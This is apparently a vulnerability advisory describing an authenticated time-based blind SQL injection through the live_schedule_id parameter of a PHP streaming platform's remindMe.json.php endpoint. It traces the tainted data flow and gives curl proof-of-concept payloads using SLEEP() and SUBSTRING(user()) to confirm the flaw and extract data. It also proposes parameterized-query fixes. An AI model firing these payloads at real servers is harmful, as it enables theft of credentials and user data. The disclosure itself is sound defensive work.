Description

Summary

The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1 — User input (no sanitization):
plugin/Live/remindMe.json.php:15:

$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Step 2 — Auth check passes for any user:
plugin/Live/Live.php:4126:

if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}

Step 3 — intval() applied only internally, original variable unchanged:
plugin/Live/Live.php:4141-4143:

$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same

objects/Object.php:84 (inside getFromDb()):

$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.

Step 4 — Tainted value flows to type string construction:
plugin/Live/Live.php:4152Live.php:4193-4194:

$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);

Step 5 — SQL injection sink:
plugin/Scheduler/Objects/Scheduler_commands.php:340-347:

$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).

Step 1 — Baseline request (should return quickly):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"

Expected: response in ~0.1-0.5s

Step 2 — Time-based injection (5 second delay):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes:

SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
  AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"

Step 3 — Data extraction (example: first character of database user):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

If the response is delayed 5 seconds, the first character of user() is r.

Impact

  • Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
  • Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
  • Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
  • Low barrier: Only requires a basic authenticated account — no admin privileges needed.

Recommended Fix

Option 1 — Parameterize the query in Scheduler_commands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Scheduler_commands.php:335-347:

public static function getAllActiveOrToRepeat($type='') {
    global $global;
    if (!static::isTableInstalled()) {
        return false;
    }
    $sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
    $formats = "ss";
    $values = [self::$statusActive, self::$statusRepeat];

    if(!empty($type)){
        $sql .= ' AND `type` LIKE ? ';
        $formats .= "s";
        $values[] = $type . "%";
    }

    $sql .= self::getSqlFromPost();
    $res = sqlDAL::readSql($sql, $formats, $values);
    $fullData = sqlDAL::fetchAllAssoc($res);
    sqlDAL::close($res);
    $rows = array();
    if ($res != false) {
        foreach ($fullData as $row) {
            $rows[] = $row;
        }
    }
    return $rows;
}

Option 2 — Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth):

$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Both fixes should be applied for defense in depth.

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
